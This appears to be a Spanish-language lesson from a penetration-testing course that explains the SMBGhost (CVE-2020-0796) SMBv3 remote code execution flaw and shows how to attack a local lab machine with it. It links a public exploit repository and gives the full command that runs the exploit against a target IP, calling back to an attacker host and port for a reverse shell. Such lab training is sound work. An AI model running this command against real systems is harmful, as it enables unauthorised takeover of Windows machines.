Explotacion de SMBGhost

La vulnerabilidad conocida como SMBGhost (CVE-2020-0796) es un fallo crítico en el protocolo SMBv3 de Windows 10 que afecta a la forma en que este protocolo maneja las solicitudes de compresión. SMB (Server Message Block) es un protocolo utilizado para compartir archivos, impresoras y otros recursos en redes. SMBGhost permite la ejecución remota de código sin autenticación en sistemas vulnerables a través de la explotación de este fallo, lo que lo convierte en una vulnerabilidad de alta criticidad.

Detalles técnicos

El fallo se debe a una validación incorrecta en la compresión de paquetes en el protocolo SMBv3. Un atacante que logre explotar SMBGhost podría ejecutar código malicioso en el sistema objetivo con privilegios elevados, lo que le permitiría tomar el control completo de la máquina, instalar programas, modificar o eliminar datos, o crear nuevas cuentas con privilegios administrativos. Esta vulnerabilidad es especialmente peligrosa en entornos corporativos donde SMB es utilizado ampliamente para compartir recursos entre usuarios.

El exploit para SMBGhost funciona aprovechando este fallo en el procesamiento de los paquetes de compresión y permite, en su versión más crítica, la ejecución remota de código, aunque también puede provocar condiciones de denegación de servicio (DoS), como pantallazos azules (Blue Screen of Death, BSOD). En muchos casos, un exploit mal implementado o ciertas configuraciones del sistema pueden provocar que, en lugar de obtener una shell inversa, la máquina afectada se reinicie o quede inestable.

Durante las pruebas realizadas, se ha identificado que, en algunos casos, el exploit no entrega la shell inversa en el primer intento, lo que obliga a reiniciar la máquina y volver a ejecutar el ataque para que funcione de manera adecuada.

Uso del exploit

El exploit para SMBGhost está disponible en el siguiente repositorio:

https://github.com/Barriuso/SMBGhost_AutomateExploitation

El comando para ejecutar el exploit sería:

python3 Smb_Ghost.py -i 192.168.174.141 --check -e --lhost 192.168.174.130 --lport 443

En este ejemplo:

  • -i especifica la IP de la máquina objetivo (192.168.174.141).
  • --check verifica si la máquina es vulnerable.
  • -e ejecuta el exploit.
  • --lhost indica la IP del atacante (192.168.174.130).
  • --lport especifica el puerto en el que se recibirá la conexión inversa (443).

Es importante tener en cuenta que este exploit puede provocar inestabilidad en la máquina objetivo, y en algunos casos, causar un BSOD.

Hackeando el Lab local del CPPJ

Despues de clonar el repositorio y ejecutar el comando previo tendremos que presionar enter un par de veces y obtendremos nuestra shell inversa:

Complete and Continue  
Discussion

0 comments